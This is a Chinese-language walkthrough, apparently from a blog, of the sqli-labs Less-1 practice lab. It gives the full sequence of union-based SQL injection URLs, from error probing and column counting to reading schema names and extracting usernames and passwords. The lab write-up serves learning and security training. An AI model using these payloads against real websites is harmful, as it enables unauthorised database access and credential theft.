【sqli-labs】 less1 GET

  

GET方式提交id参数

添加单引号,出现报错,爆出数据库名称和部分SQL语句

http://localhost/sqli/Less-1/?id=1'

使用order by猜测字段数,用#注释掉后面limit 0,1语句

http://localhost/sqli/Less-1/?id=1' order by 1#

字符#浏览器不会编码可以手动编码%23

http://localhost/sqli/Less-1/?id=1' order by 1%23

order by 4时页面不正常,推测字段数为3

使用union查询,查看字段显示位置

http://localhost/sqli/Less-1/?id=1' union select 1,2,3%23

没有出现1,2,3

数据库中执行,结果正常

查看源码发现,使用mysql_fetch_array函数只选择了一条结果

  

 那么只要时union前面的查询返回为空就行了,发现有两个字段位置可以使用

http://localhost/sqli/Less-1/?id=a' union select 1,2,3%23

http://localhost/sqli/Less-1/?id=a' union select 1,VERSION(),USER()%23

得到数据库版本mysql 5.7.20-log ,用户root@localhost

可用concat_ws函数进行拼接 char(58)是字符:

数据库名security

http://localhost/sqli/Less-1/?id=a' union select 1,2,concat_ws(char(58),user(),database(),version())%23

直接联合information_schema表进行表名查询

http://localhost/sqli/Less-1/?id=a' UNION SELECT 1,table_name,3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='security' LIMIT 0,1%23

 更改limit 后面数值得到表名

emails
referers
uagents
users

 

以users表为例,查询列名

http://localhost/sqli/Less-1/?id=a' UNION SELECT 1,2,column_name FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users' LIMIT 0,1%23
id
username
password

至此,我们得到了数据库名security 表名 users 列名 id username password

接下来就是取数据了

http://localhost/sqli/Less-1/?id=a' UNION SELECT 1,username,password FROM security.users LIMIT 0,1%23

原文地址:https://www.cnblogs.com/omnis/p/8311556.html